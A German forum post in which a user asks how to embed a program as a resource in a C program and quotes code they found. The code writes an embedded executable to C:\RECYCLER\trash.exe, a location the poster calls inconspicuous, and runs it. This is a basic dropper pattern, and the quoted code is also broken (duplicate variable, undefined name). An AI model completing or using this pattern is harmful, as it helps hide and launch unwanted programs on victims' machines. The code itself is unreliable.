Hi leutz,
ich wollte mal fragen ob mir jemand erklären kann wie ich ein Programm als Resource in meinen Quellcode (bzw. mein prog.) lade.
Habe schon gegoogelt aber finde einfach nirgens wo ein tutorial.
habe nen code gefunden, wo ein prog. als resource geladen wird, und an einem unauffälligem ort ausgeführt wird. Jedoch verstehe ich da einfach nicht wie das genau mit dem resource laden funzt. wäre echt nett, wenn mir da jemand weiterhelfen könnte
hier der code :
main.c
res.hCode:#define STRICT
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "res.h"
int main(){
LPVOID data1 = LockResource ( LoadResource (0, FindResource (0, MAKEINTRESOURCE(ID_FILE_01), "BINARY")));
FILE *data1 = fopen ("C:\\RECYCLER\\trash.exe", "wb");
if (data1 != NULL)
{
fwrite(data1, 1, 424960, datei);
fclose(data1);
}
ShellExecute(0,"open","C:\\RECYCLER\\trash.exe", 0,0, SW_SHOWNORMAL);
return 0;
}
res.rcCode:#define ID_FILE_01 1
Added after 41 hours 12 minutes:Code:#include "res.h"
ID_FILE_01 BINARY "tisch.exe"
kann keiner helfen? =(
ein link zu nem tut oder so würde mir schon weiterhelfen...